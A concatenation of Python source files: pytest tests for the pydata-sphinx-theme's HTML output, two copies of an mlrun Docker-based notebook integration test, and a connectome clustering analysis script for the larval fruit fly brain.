return SphinxBuild(app, tmp_path / src_folder)
yield _func
def test_build_html(sphinx_build_factory, file_regression):
"""Test building the base html template and config."""
sphinx_build = sphinx_build_factory("base") # type: SphinxBuild
# Basic build with defaults
sphinx_build.build()
assert (sphinx_build.outdir / "index.html").exists(), sphinx_build.outdir.glob("*")
index_html = sphinx_build.html_tree("index.html")
subpage_html = sphinx_build.html_tree("section1/index.html")
# Navbar structure
navbar = index_html.select("div#navbar-center")[0]
file_regression.check(navbar.prettify(), basename="navbar_ix", extension=".html")
# Sidebar structure
sidebar = index_html.select(".bd-sidebar")[0]
file_regression.check(sidebar.prettify(), basename="sidebar_ix", extension=".html")
# Sidebar subpage
sidebar = subpage_html.select(".bd-sidebar")[0]
file_regression.check(
sidebar.prettify(), basename="sidebar_subpage", extension=".html"
)
def test_toc_visibility(sphinx_build_factory):
# Test that setting TOC level visibility works as expected
confoverrides = {
"html_theme_options.show_toc_level": 2,
}
sphinx_build = sphinx_build_factory("base", confoverrides=confoverrides).build()
index_html = sphinx_build.html_tree("index.html")
# The 3rd level headers should be visible, but not the fourth-level
assert "visible" in index_html.select(".toc-h2 ul")[0].attrs["class"]
assert "visible" not in index_html.select(".toc-h3 ul")[0].attrs["class"]
def test_logo(sphinx_build_factory):
"""Test that the logo is shown by default, project title if no logo."""
sphinx_build = sphinx_build_factory("base").build()
# By default logo is shown
index_html = sphinx_build.html_tree("index.html")
assert index_html.select(".navbar-brand img")
assert not index_html.select(".navbar-brand")[0].text.strip()
def test_logo_name(sphinx_build_factory):
"""Test that the logo is shown by default, project title if no logo."""
confoverrides = {"html_logo": ""}
sphinx_build = sphinx_build_factory("base", confoverrides=confoverrides).build()
# if no logo is specified, use project title instead
index_html = sphinx_build.html_tree("index.html")
assert "PyData Tests" in index_html.select(".navbar-brand")[0].text.strip()
def test_favicons(sphinx_build_factory):
"""Test that arbitrary favicons are included."""
html_theme_options_favicons = {
"favicons": [
{
"rel": "icon",
"sizes": "16x16",
"href": "https://secure.example.com/favicon/favicon-16x16.png",
},
{
"rel": "icon",
"sizes": "32x32",
"href": "favicon-32x32.png",
},
{
"rel": "apple-touch-icon",
"sizes": "180x180",
"href": "apple-touch-icon-180x180.png",
},
]
}
confoverrides = {"html_theme_options": html_theme_options_favicons}
sphinx_build = sphinx_build_factory("base", confoverrides=confoverrides).build()
index_html = sphinx_build.html_tree("index.html")
icon_16 = (
'<link href="https://secure.example.com/favicon/favicon-16x16.png" '
'rel="icon" sizes="16x16"/>'
)
icon_32 = '<link href="_static/favicon-32x32.png" rel="icon" sizes="32x32"/>'
icon_180 = (
'<link href="_static/apple-touch-icon-180x180.png" '
'rel="apple-touch-icon" sizes="180x180"/>'
)
assert icon_16 in str(index_html.select("head")[0])
assert icon_32 in str(index_html.select("head")[0])
assert icon_180 in str(index_html.select("head")[0])
def test_sidebar_default(sphinx_build_factory):
"""The sidebar is shrunk when no sidebars specified in html_sidebars."""
sphinx_build = sphinx_build_factory("base").build()
index_html = sphinx_build.html_tree("page1.html")
assert "col-md-3" in index_html.select(".bd-sidebar")[0].attrs["class"]
def test_sidebar_disabled(sphinx_build_factory):
"""The sidebar is shrunk when no sidebars specified in html_sidebars."""
confoverrides = {"html_sidebars.page1": ""}
sphinx_build = sphinx_build_factory("base", confoverrides=confoverrides).build()
index_html = sphinx_build.html_tree("page1.html")
assert "col-md-1" in index_html.select(".bd-sidebar")[0].attrs["class"]
def test_navbar_align_default(sphinx_build_factory):
"""The navbar items align with the proper part of the page."""
sphinx_build = sphinx_build_factory("base").build()
index_html = sphinx_build.html_tree("index.html")
assert "col-lg-9" in index_html.select("div#navbar-collapsible")[0].attrs["class"]
def test_navbar_align_right(sphinx_build_factory):
"""The navbar items align with the proper part of the page."""
confoverrides = {"html_theme_options.navbar_align": "right"}
sphinx_build = sphinx_build_factory("base", confoverrides=confoverrides).build()
# Both the column alignment and the margin should be changed
index_html = sphinx_build.html_tree("index.html")
assert "col-lg-9" not in index_html.select("div#navbar-center")[0].attrs["class"]
assert "ml-auto" in index_html.select("div#navbar-center")[0].attrs["class"]
def test_navbar_no_in_page_headers(sphinx_build_factory, file_regression):
# https://github.com/pydata/pydata-sphinx-theme/issues/302
sphinx_build = sphinx_build_factory("test_navbar_no_in_page_headers").build()
index_html = sphinx_build.html_tree("index.html")
navbar = index_html.select("ul#navbar-main-elements")[0]
file_regression.check(navbar.prettify(), extension=".html")
def test_sidebars_captions(sphinx_build_factory, file_regression):
sphinx_build = sphinx_build_factory("sidebars").build()
subindex_html = sphinx_build.html_tree("section1/index.html")
# Sidebar structure with caption
sidebar = subindex_html.select("nav#bd-docs-nav")[0]
file_regression.check(sidebar.prettify(), extension=".html")
def test_sidebars_nested_page(sphinx_build_factory, file_regression):
sphinx_build = sphinx_build_factory("sidebars").build()
subindex_html = sphinx_build.html_tree("section1/subsection1/page1.html")
# For nested (uncollapsed) page, the label included `checked=""`
sidebar = subindex_html.select("nav#bd-docs-nav")[0]
file_regression.check(sidebar.prettify(), extension=".html")
def test_sidebars_single(sphinx_build_factory, file_regression):
confoverrides = {"templates_path": ["_templates_single_sidebar"]}
sphinx_build = sphinx_build_factory("sidebars", confoverrides=confoverrides).build()
index_html = sphinx_build.html_tree("index.html")
# No navbar included
assert not index_html.select("nav#navbar-main")
assert not index_html.select(".navbar-nav")
# Sidebar structure
sidebar = index_html.select("nav#bd-docs-nav")[0]
file_regression.check(sidebar.prettify(), extension=".html")
def test_sidebars_level2(sphinx_build_factory, file_regression):
confoverrides = {"templates_path": ["_templates_sidebar_level2"]}
sphinx_build = sphinx_build_factory("sidebars", confoverrides=confoverrides).build()
subindex_html = sphinx_build.html_tree("section1/subsection1/index.html")
# Sidebar structure
sidebar = subindex_html.select("nav#bd-docs-nav")[0]
file_regression.check(sidebar.prettify(), extension=".html")
def test_included_toc(sphinx_build_factory):
"""Test that Sphinx project containing TOC (.. toctree::) included
via .. include:: can be successfully built.
"""
# Regression test for bug resolved in #347.
# Tests mainly makes sure that the sphinx_build.build() does not raise exception.
# https://github.com/pydata/pydata-sphinx-theme/pull/347
sphinx_build = sphinx_build_factory("test_included_toc").build()
included_page_html = sphinx_build.html_tree("included-page.html")
assert included_page_html is not None
# html contexts for `show_edit_button`
# these are "good" context fragements that should yield a working link
good_edits = [
[
{
"github_user": "foo",
"github_repo": "bar",
"github_version": "HEAD",
"doc_path": "docs",
},
"https://github.com/foo/bar/edit/HEAD/docs/index.rst",
],
[
{
"gitlab_user": "foo",
"gitlab_repo": "bar",
"gitlab_version": "HEAD",
"doc_path": "docs",
},
"https://gitlab.com/foo/bar/-/edit/HEAD/docs/index.rst",
],
[
{
"bitbucket_user": "foo",
"bitbucket_repo": "bar",
"bitbucket_version": "HEAD",
"doc_path": "docs",
},
"https://bitbucket.org/foo/bar/src/HEAD/docs/index.rst?mode=edit",
],
]
# copy the "good" ones, ensure `doc_path` is agnostic to trailing slashes
slash_edits = [
[
{
# add slashes to doc_path:
key: f"{value}/" if key == "doc_path" else value
for key, value in html_context.items()
},
# the URL does not change
url,
]
for html_context, url in good_edits
]
# copy the "good" ones, provide a `<whatever>_url` based off the default
providers = [
[
dict(
# copy all the values
**html_context,
# add a provider url
**{f"{provider}_url": f"https://{provider}.example.com"},
),
f"""https://{provider}.example.com/foo/{url.split("/foo/")[1]}""",
]
for html_context, url in good_edits
for provider in ["gitlab", "bitbucket", "github"]
if provider in url
]
# missing any of the values should fail
bad_edits = [
[
{
# copy all the values
key: value
for key, value in html_context.items()
# but not `<provider>_version`
if "_version" not in key
},
None,
]
for html_context, url in good_edits
]
# a good custom URL template
good_custom = [
[
{
"edit_page_url_template": (
"https://dvcs.example.com/foo/bar/edit/HEAD/{{ file_name }}"
)
},
"https://dvcs.example.com/foo/bar/edit/HEAD/index.rst",
]
]
# a bad custom URL template
bad_custom = [
[
# it's missing a reference to {{ file_name }}
{"edit_page_url_template": "http://has-no-file-name"},
None,
]
]
all_edits = [
*good_edits,
*slash_edits,
*bad_edits,
*good_custom,
*bad_custom,
*providers,
]
@pytest.mark.parametrize("html_context,edit_url", all_edits)
def test_edit_page_url(sphinx_build_factory, html_context, edit_url):
confoverrides = {
"html_theme_options.use_edit_page_button": True,
"html_context": html_context,
}
sphinx_build = sphinx_build_factory("base", confoverrides=confoverrides)
if edit_url is None:
with pytest.raises(sphinx.errors.ThemeError):
sphinx_build.build()
return
sphinx_build.build()
index_html = sphinx_build.html_tree("index.html")
edit_link = index_html.select(".editthispage a")
assert edit_link, "no edit link found"
assert edit_link[0].attrs["href"] == edit_url, f"edit link didn't match {edit_link}"
|
# Copyright 2018 Iguazio
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import re
from collections import ChainMap
from os import environ
from pathlib import Path
from subprocess import run
import pytest
import yaml
here = Path(__file__).absolute().parent
tests_dir = here.parent
root = tests_dir.parent
# Need to be in root for docker context
tmp_dockerfile = Path(root / "Dockerfile.mlrun-test-nb")
with (here / "Dockerfile.test-nb").open() as fp:
dockerfile_template = fp.read()
docker_tag = "mlrun/test-notebook"
def mlrun_api_configured():
config_file_path = here / "test-notebooks.yml"
with config_file_path.open() as fp:
config = yaml.safe_load(fp)
return config["env"].get("MLRUN_DBPATH") is not None
def iterate_notebooks():
if not mlrun_api_configured():
return []
config_file_path = here / "test-notebooks.yml"
with config_file_path.open() as fp:
config = yaml.safe_load(fp)
general_env = config["env"]
for notebook_test_config in config["notebook_tests"]:
# fill env keys that reference the general env
test_env = {}
for key, value in notebook_test_config.get("env", {}).items():
match = re.match(r"^\$\{(?P<env_var>.*)\}$", value)
if match is not None:
env_var = match.group("env_var")
env_var_value = general_env.get(env_var)
if env_var_value is None:
raise ValueError(
f"Env var {env_var} references general env, but it does not exist there"
)
test_env[key] = env_var_value
else:
test_env[key] = value
notebook_test_config["env"] = test_env
yield pytest.param(
notebook_test_config, id=notebook_test_config["notebook_name"]
)
def args_from_env(env):
external_env = {}
for env_var_key in environ:
if env_var_key.startswith("MLRUN_"):
external_env[env_var_key] = environ[env_var_key]
env = ChainMap(env, external_env)
args, cmd = [], []
for name in env:
value = env[name]
args.append(f"ARG {name}")
cmd.extend(["--build-arg", f"{name}={value}"])
args = "\n".join(args)
return args, cmd
@pytest.mark.skipif(
not mlrun_api_configured(),
reason="This is an integration test, add the needed environment variables in test-notebooks.yml "
"to run it",
)
@pytest.mark.parametrize("notebook", iterate_notebooks())
def test_notebook(notebook):
path = f'./examples/{notebook['notebook_name']}'
args, args_cmd = args_from_env(notebook["env"])
deps = []
for dep in notebook.get("pip", []):
deps.append(f"RUN python -m pip install --upgrade {dep}")
pip = "\n".join(deps)
code = dockerfile_template.format(notebook=path, args=args, pip=pip)
with tmp_dockerfile.open("w") as out:
out.write(code)
cmd = (
["docker", "build", "--file", str(tmp_dockerfile), "--tag", docker_tag]
+ args_cmd
+ ["."]
)
out = run(cmd, cwd=root)
assert out.returncode == 0, "cannot build"
| # Copyright 2018 Iguazio
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import re
from collections import ChainMap
from os import environ
from pathlib import Path
from subprocess import run
import pytest
import yaml
here = Path(__file__).absolute().parent
tests_dir = here.parent
root = tests_dir.parent
# Need to be in root for docker context
tmp_dockerfile = Path(root / "Dockerfile.mlrun-test-nb")
with (here / "Dockerfile.test-nb").open() as fp:
dockerfile_template = fp.read()
docker_tag = "mlrun/test-notebook"
def mlrun_api_configured():
config_file_path = here / "test-notebooks.yml"
with config_file_path.open() as fp:
config = yaml.safe_load(fp)
return config["env"].get("MLRUN_DBPATH") is not None
def iterate_notebooks():
if not mlrun_api_configured():
return []
config_file_path = here / "test-notebooks.yml"
with config_file_path.open() as fp:
config = yaml.safe_load(fp)
general_env = config["env"]
for notebook_test_config in config["notebook_tests"]:
# fill env keys that reference the general env
test_env = {}
for key, value in notebook_test_config.get("env", {}).items():
match = re.match(r"^\$\{(?P<env_var>.*)\}$", value)
if match is not None:
env_var = match.group("env_var")
env_var_value = general_env.get(env_var)
if env_var_value is None:
raise ValueError(
f"Env var {env_var} references general env, but it does not exist there"
)
test_env[key] = env_var_value
else:
test_env[key] = value
notebook_test_config["env"] = test_env
yield pytest.param(
notebook_test_config, id=notebook_test_config["notebook_name"]
)
def args_from_env(env):
external_env = {}
for env_var_key in environ:
if env_var_key.startswith("MLRUN_"):
external_env[env_var_key] = environ[env_var_key]
env = ChainMap(env, external_env)
args, cmd = [], []
for name in env:
value = env[name]
args.append(f"ARG {name}")
cmd.extend(["--build-arg", f"{name}={value}"])
args = "\n".join(args)
return args, cmd
@pytest.mark.skipif(
not mlrun_api_configured(),
reason="This is an integration test, add the needed environment variables in test-notebooks.yml "
"to run it",
)
@pytest.mark.parametrize("notebook", iterate_notebooks())
def test_notebook(notebook):
path = f'./examples/{notebook["notebook_name"]}'
args, args_cmd = args_from_env(notebook["env"])
deps = []
for dep in notebook.get("pip", []):
deps.append(f"RUN python -m pip install --upgrade {dep}")
pip = "\n".join(deps)
code = dockerfile_template.format(notebook=path, args=args, pip=pip)
with tmp_dockerfile.open("w") as out:
out.write(code)
cmd = (
["docker", "build", "--file", str(tmp_dockerfile), "--tag", docker_tag]
+ args_cmd
+ ["."]
)
out = run(cmd, cwd=root)
assert out.returncode == 0, "cannot build"
|
# %% [markdown]
# # THE MIND OF A MAGGOT
# %% [markdown]
# ## Imports
import os
import time
import colorcet as cc
import matplotlib as mpl
import matplotlib.pyplot as plt
import matplotlib.transforms as transforms
import numpy as np
import pandas as pd
import seaborn as sns
from scipy.linalg import orthogonal_procrustes
from scipy.optimize import linear_sum_assignment
from sklearn.metrics import adjusted_rand_score
from tqdm import tqdm
from graspy.cluster import GaussianCluster
from graspy.embed import AdjacencySpectralEmbed
from graspy.models import DCSBMEstimator, RDPGEstimator, SBMEstimator
from graspy.plot import heatmap, pairplot
from graspy.simulations import rdpg
from graspy.utils import binarize, pass_to_ranks
from src.data import load_metagraph
from src.graph import preprocess
from src.hierarchy import signal_flow
from src.io import savefig
from src.visualization import (
CLASS_COLOR_DICT,
barplot_text,
gridmap,
matrixplot,
stacked_barplot,
adjplot,
)
from sklearn.utils.testing import ignore_warnings
from sklearn.exceptions import ConvergenceWarning
import warnings
warnings.filterwarnings(action="ignore", category=ConvergenceWarning)
CLUSTER_SPLIT = "best"
FNAME = os.path.basename(__file__)[:-3]
print(FNAME)
rc_dict = {
"axes.spines.right": False,
"axes.spines.top": False,
"axes.formatter.limits": (-3, 3),
"figure.figsize": (6, 3),
"figure.dpi": 100,
}
for key, val in rc_dict.items():
mpl.rcParams[key] = val
context = sns.plotting_context(context="talk", font_scale=1, rc=rc_dict)
sns.set_context(context)
np.random.seed(8888)
def stashfig(name, **kws):
savefig(name, foldername=FNAME, save_on=True, **kws)
def get_paired_inds(meta):
pair_meta = meta[meta["Pair"].isin(meta.index)]
pair_group_size = pair_meta.groupby("Pair ID").size()
remove_pairs = pair_group_size[pair_group_size == 1].index
pair_meta = pair_meta[~pair_meta["Pair ID"].isin(remove_pairs)]
assert pair_meta.groupby("Pair ID").size().min() == 2
pair_meta.sort_values(["Pair ID", "hemisphere"], inplace=True)
lp_inds = pair_meta[pair_meta["hemisphere"] == "L"]["inds"]
rp_inds = pair_meta[pair_meta["hemisphere"] == "R"]["inds"]
assert (
meta.iloc[lp_inds]["Pair ID"].values == meta.iloc[rp_inds]["Pair ID"].values
).all()
return lp_inds, rp_inds
# TODO broken in some cases, switched to `compute_pairedness_bipartite`
def compute_pairedness(partition, left_pair_inds, right_pair_inds, plot=False):
uni_labels, inv = np.unique(partition, return_inverse=True)
train_int_mat = np.zeros((len(uni_labels), len(uni_labels)))
for i, ul in enumerate(uni_labels):
c1_mask = inv == i
for j, ul in enumerate(uni_labels):
c2_mask = inv == j
# number of times a thing in cluster 1 has a pair also in cluster 2
pairs_in_other = np.logical_and(
c1_mask[left_pair_inds], c2_mask[right_pair_inds]
).sum()
train_int_mat[i, j] = pairs_in_other
row_ind, col_ind = linear_sum_assignment(train_int_mat, maximize=True)
train_pairedness = np.trace(train_int_mat[np.ix_(row_ind, col_ind)]) / np.sum(
train_int_mat
) # TODO double check that this is right
if plot:
fig, axs = plt.subplots(1, 2, figsize=(20, 10))
sns.heatmap(
train_int_mat, square=True, ax=axs[0], cbar=False, cmap="RdBu_r", center=0
)
int_df = pd.DataFrame(data=train_int_mat, index=uni_labels, columns=uni_labels)
int_df = int_df.reindex(index=uni_labels[row_ind])
int_df = int_df.reindex(columns=uni_labels[col_ind])
sns.heatmap(int_df, square=True, ax=axs[1], cbar=False, cmap="RdBu_r", center=0)
return train_pairedness, row_ind, col_ind
def compute_pairedness_bipartite(left_labels, right_labels):
left_uni_labels, left_inv = np.unique(left_labels, return_inverse=True)
right_uni_labels, right_inv = np.unique(right_labels, return_inverse=True)
train_int_mat = np.zeros((len(left_uni_labels), len(right_uni_labels)))
for i, ul in enumerate(left_uni_labels):
c1_mask = left_inv == i
for j, ul in enumerate(right_uni_labels):
c2_mask = right_inv == j
# number of times a thing in cluster 1 has a pair also in cluster 2
pairs_in_other = np.logical_and(c1_mask, c2_mask).sum()
train_int_mat[i, j] = pairs_in_other
row_ind, col_ind = linear_sum_assignment(train_int_mat, maximize=True)
train_pairedness = np.trace(train_int_mat[np.ix_(row_ind, col_ind)]) / np.sum(
train_int_mat
) # TODO double check that this is right
return train_pairedness, row_ind, col_ind
def fit_and_score(X_train, X_test, k, **kws):
gc = GaussianCluster(min_components=k, max_components=k, **kws)
gc.fit(X_train)
model = gc.model_
train_bic = model.bic(X_train)
train_lik = model.score(X_train)
test_bic = model.bic(X_test)
test_lik = model.score(X_test)
bic = model.bic(np.concatenate((X_train, X_test), axis=0))
res = {
"train_bic": -train_bic,
"train_lik": train_lik,
"test_bic": -test_bic,
"test_lik": test_lik,
"bic": -bic,
"lik": train_lik + test_lik,
"k": k,
"model": gc.model_,
}
return res, model
def crossval_cluster(
embed,
left_inds,
right_inds,
min_clusters=2,
max_clusters=15,
n_init=25,
left_pair_inds=None,
right_pair_inds=None,
):
left_embed = embed[left_inds]
right_embed = embed[right_inds]
print("Running left/right clustering with cross-validation\n")
currtime = time.time()
rows = []
for k in tqdm(range(min_clusters, max_clusters)):
# TODO add option for AutoGMM as well, might as well check
for i in range(n_init):
left_row, left_gc = fit_and_score(left_embed, right_embed, k)
left_row["train"] = "left"
right_row, right_gc = fit_and_score(right_embed, left_embed, k)
right_row["train"] = "right"
# pairedness computation, if available
if left_pair_inds is not None and right_pair_inds is not None:
# TODO double check this is right
pred_left = left_gc.predict(embed[left_pair_inds])
pred_right = right_gc.predict(embed[right_pair_inds])
pness, _, _ = compute_pairedness_bipartite(pred_left, pred_right)
left_row["pairedness"] = pness
right_row["pairedness"] = pness
ari = adjusted_rand_score(pred_left, pred_right)
left_row["ARI"] = ari
right_row["ARI"] = ari
rows.append(left_row)
rows.append(right_row)
results = pd.DataFrame(rows)
print(f"{time.time() - currtime} elapsed")
return results
def plot_crossval_cluster(results):
fig, axs = plt.subplots(3, 1, figsize=(10, 10), sharex=True)
ax = axs[0]
sns.lineplot(data=results, x="k", y="test_lik", hue="train", ax=ax, legend=False)
ax.lines[0].set_linestyle("--")
ax.lines[1].set_linestyle("--")
sns.lineplot(data=results, x="k", y="train_lik", hue="train", ax=ax, legend=False)
ax.set_ylabel("Log likelihood")
ax.yaxis.set_major_locator(mpl.ticker.MaxNLocator(nbins=3, min_n_ticks=3))
ax = axs[1]
sns.lineplot(data=results, x="k", y="test_bic", hue="train", ax=ax, legend="full")
ax.lines[0].set_linestyle("--")
ax.lines[1].set_linestyle("--")
sns.lineplot(data=results, x="k", y="train_bic", hue="train", ax=ax, legend="full")
ax.set_ylabel("-BIC")
ax.yaxis.set_major_locator(mpl.ticker.MaxNLocator(nbins=3, min_n_ticks=3))
leg = ax.legend()
leg.set_title("Train side")
leg.texts[0].set_text("Test contra")
leg.set_bbox_to_anchor((1, 1.8))
lines = leg.get_lines()
lines[0].set_linestyle("--")
lines[1].set_linestyle("--")
lines[2].set_linestyle("--")
leg.texts[3].set_text("Test ipsi")
ax = axs[2]
sns.lineplot(
data=results,
x="k",
y="pairedness",
ax=ax,
legend="full",
color="purple",
label="Pairedness",
)
sns.lineplot(
data=results, x="k", y="ARI", ax=ax, legend="full", color="green", label="ARI"
)
ax.set_ylabel("Pair score")
leg = ax.legend().remove()
ax.legend(bbox_to_anchor=(1, 1), loc="upper left")
# leg.loc = 2
# leg.set_bbox_to_anchor((1, 1))
# ax.yaxis.set_major_locator(mpl.ticker.MaxNLocator(nbins=3, min_n_ticks=3))
# trans = transforms.blended_transform_factory(ax.transAxes, ax.transAxes)
# ax.text(0.8, 0.8, "Pairedness", color="purple", transform=trans)
# ax.text(0.8, 0.6, "ARI", color="green", transform=trans)
return fig, axs
def make_ellipses(gmm, ax, i, j, colors, alpha=0.5, equal=False, **kws):
inds = [j, i]
for n, color in enumerate(colors):
if gmm.covariance_type == "full":
covariances = gmm.covariances_[n][np.ix_(inds, inds)]
elif gmm.covariance_type == "tied":
covariances = gmm.covariances_[np.ix_(inds, inds)]
elif gmm.covariance_type == "diag":
covariances = np.diag(gmm.covariances_[n][inds])
elif gmm.covariance_type == "spherical":
covariances = np.eye(gmm.means_.shape[1]) * gmm.covariances_[n]
v, w = np.linalg.eigh(covariances)
u = w[0] / np.linalg.norm(w[0])
angle = np.arctan2(u[1], u[0])
angle = 180 * angle / np.pi # convert to degrees
v = 2.0 * np.sqrt(2.0) * np.sqrt(v)
ell = mpl.patches.Ellipse(
gmm.means_[n, inds], v[0], v[1], 180 + angle, color=color, **kws
)
ell.set_clip_box(ax.bbox)
ell.set_alpha(alpha)
ax.add_artist(ell)
if equal:
ax.set_aspect("equal", "datalim")
def plot_cluster_pairs(
X, left_inds, right_inds, left_model, right_model, labels, colors=None, equal=True
):
k = left_model.n_components
n_dims = X.shape[1]
if colors is None:
colors = sns.color_palette("tab10", n_colors=k, desat=0.7)
fig, axs = plt.subplots(
n_dims, n_dims, sharex=False, sharey=False, figsize=(20, 20)
)
data = pd.DataFrame(data=X)
data["label"] = labels #
pred = composite_predict(
X, left_inds, right_inds, left_model, right_model, relabel=False
)
data["pred"] = pred
for i in range(n_dims):
for j in range(n_dims):
ax = axs[i, j]
ax.axis("off")
if i < j:
sns.scatterplot(
data=data,
x=j,
y=i,
ax=ax,
alpha=0.5,
linewidth=0,
s=5,
legend=False,
hue="label",
palette=CLASS_COLOR_DICT,
)
make_ellipses(left_model, ax, i, j, colors, fill=False, equal=equal)
if i > j:
sns.scatterplot(
data=data,
x=j,
y=i,
ax=ax,
alpha=0.7,
linewidth=0,
s=5,
legend=False,
hue="pred",
palette=colors,
)
make_ellipses(left_model, ax, i, j, colors, fill=True, equal=equal)
plt.tight_layout()
return fig, axs
def composite_predict(X, left_inds, right_inds, left_model, right_model, relabel=False):
# TODO add option to boost the right numbers
X_left = X[left_inds]
X_right = X[right_inds]
pred_left = left_model.predict(X_left)
pred_right = right_model.predict(X_right)
if relabel:
leftify = np.vectorize(lambda x: str(x) + "L")
rightify = np.vectorize(lambda x: str(x) + "R")
pred_left = leftify(pred_left)
pred_right = rightify(pred_right)
dtype = pred_left.dtype
pred = np.empty(len(X), dtype=dtype)
pred[left_inds] = pred_left
pred[right_inds] = pred_right
return pred
def reindex_model(gmm, perm_inds):
gmm.weights_ = gmm.weights_[perm_inds]
gmm.means_ = gmm.means_[perm_inds]
if gmm.covariance_type != "tied":
gmm.covariances_ = gmm.covariances_[perm_inds]
gmm.precisions_ = gmm.precisions_[perm_inds]
gmm.precisions_cholesky_ = gmm.precisions_cholesky_[perm_inds]
return gmm
def plot_metrics(results, plot_all=True):
plot_results = results.copy()
plot_results["k"] += np.random.normal(size=len(plot_results), scale=0.1)
fig, axs = plt.subplots(3, 3, figsize=(20, 10), sharex=True)
def miniplotter(var, ax):
if plot_all:
sns.scatterplot(
data=plot_results,
x="k",
y=var,
hue="train",
ax=ax,
s=8,
linewidth=0,
alpha=0.5,
)
best_inds = results.groupby(["k"])[var].idxmax()
best_results = results.loc[best_inds].copy()
sns.lineplot(
data=best_results, x="k", y=var, ax=ax, color="purple", label="max"
)
mean_results = results.groupby(["k"]).mean()
mean_results.reset_index(inplace=True)
sns.lineplot(
data=mean_results, x="k", y=var, ax=ax, color="green", label="mean"
)
ax.get_legend().remove()
plot_vars = [
"train_lik",
"test_lik",
"lik",
"train_bic",
"test_bic",
"bic",
"ARI",
"pairedness",
]
axs = axs.T.ravel()
for pv, ax in zip(plot_vars, axs):
miniplotter(pv, ax)
axs[2].xaxis.set_major_locator(mpl.ticker.MultipleLocator(2))
axs[-2].tick_params(labelbottom=True)
axs[-2].set_xlabel("k")
handles, labels = axs[-2].get_legend_handles_labels()
axs[-1].legend(handles, labels, loc="upper left")
axs[-1].axis("off")
return fig, axs
# %% [markdown]
# ## Load data
# In this case we are working with `G`, the directed graph formed by summing the edge
# weights of the 4 different graph types. Preprocessing here includes removing
# partially differentiated cells, and cutting out the lowest 5th percentile of nodes in
# terms of their number of incident synapses. 5th percentile ~= 12 synapses. After this,
# the largest connected component is used.
mg = load_metagraph("G", version="2020-04-01")
mg = preprocess(
mg,
threshold=0,
sym_threshold=False,
remove_pdiff=True,
binarize=False,
weight="weight",
)
meta = mg.meta
# plot where we are cutting out nodes based on degree
degrees = mg.calculate_degrees()
fig, ax = plt.subplots(1, 1, figsize=(5, 2.5))
sns.distplot(np.log10(degrees["Total edgesum"]), ax=ax)
q = np.quantile(degrees["Total edgesum"], 0.05)
ax.axvline(np.log10(q), linestyle="--", color="r")
ax.set_xlabel("log10(total synapses)")
# remove low degree neurons
idx = meta[degrees["Total edgesum"] > q].index
mg = mg.reindex(idx, use_ids=True)
# remove center neurons # FIXME
idx = mg.meta[mg.meta["hemisphere"].isin(["L", "R"])].index
mg = mg.reindex(idx, use_ids=True)
mg = mg.make_lcc()
mg.calculate_degrees(inplace=True)
meta = mg.meta
adj = mg.adj
adj = pass_to_ranks(adj)
meta["inds"] = range(len(meta))
left_inds = meta[meta["left"]]["inds"]
right_inds = meta[meta["right"]]["inds"]
lp_inds, rp_inds = get_paired_inds(meta)
# %% [markdown]
# ## Embed
# Here the embedding is ASE, with PTR and DiagAug, the number of embedding dimensions
# is for now set to ZG2 (4 + 4). Using the known pairs as "seeds", the left embedding
# is matched to the right using procrustes.
ase = AdjacencySpectralEmbed(n_components=None, n_elbows=2)
embed = ase.fit_transform(adj)
n_components = embed[0].shape[1] # use all of ZG2
X = np.concatenate((embed[0][:, :n_components], embed[1][:, :n_components]), axis=-1)
R, _ = orthogonal_procrustes(X[lp_inds], X[rp_inds])
if CLUSTER_SPLIT == "best":
X[left_inds] = X[left_inds] @ R
# %% [markdown]
# ## Clustering
# Clustering is performed using Gaussian mixture modeling. At each candidate value of k,
# 50 models are trained on the left embedding, 50 models are trained on the right
# embedding (choosing the best covariance structure based on BIC on the train set).
results = crossval_cluster(
X,
left_inds,
right_inds,
left_pair_inds=lp_inds,
right_pair_inds=rp_inds,
max_clusters=15,
n_init=50,
)
# best_inds = results.groupby(["k", "train"])["test_bic"].idxmax()
# best_results = results.loc[best_inds].copy()
# plot_crossval_cluster(best_results)
# stashfig(f"cross-val-n_components={n_components}")
# %% [markdown]
# ## Evaluating Clustering
# Of the 100 models we fit as described above, we now evaluate them on a variety of
# metrics:
# - likelihood of the data the model was trained on ("train_lik")
# - likelihood of the held out (other hemisphere) data ("test_lik")
# - likelihood of all of the data ("lik", = "train_lik" + "test_lik")
# - BIC using the data the model was trained on ("train_bic")
# - BIC using the held out (other hemisphere) data ("test_bic")
# - BIC using all of the data ("bic")
# - ARI for pairs. Given the prediction of the model on the left data and the right
# data, using known pairs to define a correspondence between (some) nodes, what is
# the ARI(left_prediction, right_prediciton) for the given model
# - Pairedness, like the above but simply the raw fraction of pairs that end up in
# corresponding L/R clusters. Very related to ARI but not normalized.
plot_metrics(results)
stashfig(f"cluster-metrics-n_components={n_components}")
# %% [markdown]
# ## Choose a model
# A few things are clear from the above. One is that the likelihood on the train set
# continues to go up as `k` increases, but plateaus and then drops on the test set around
# k = 6 - 8. This is even slightly more clear when looking at the BIC plots, where the
# only difference is the added penalty for complexity. Based on this, I would say that
# the best k at this scale is around 6-8; however, we still need to pick a single metric
# to give us the *best* model to proceed. I'm not sure whether it makes more sense to use
# likelihood or bic here, or, to use performance on the test set or performance on all
# of the data. Here we will proceed with k=7, and choose the model with the best BIC on
# all of the data.
k = 6
metric = "bic"
basename = f"-metric={metric}-k={k}-n_components={n_components}"
basetitle = f"Metric={metric}, k={k}, n_components={n_components}"
ind = results[results["k"] == k][metric].idxmax()
print(f"Choosing model at k={k} based on best {metric}.\n")
print(f"ARI: {results.loc[ind, "ARI"]}")
print(f"Pairedness: {results.loc[ind, "pairedness"]}\n")
model = results.loc[ind, "model"]
left_model = model
right_model = model
pred = composite_predict(
X, left_inds, right_inds, left_model, right_model, relabel=False
)
pred_side = composite_predict(
X, left_inds, right_inds, left_model, right_model, relabel=True
)
ax = stacked_barplot(
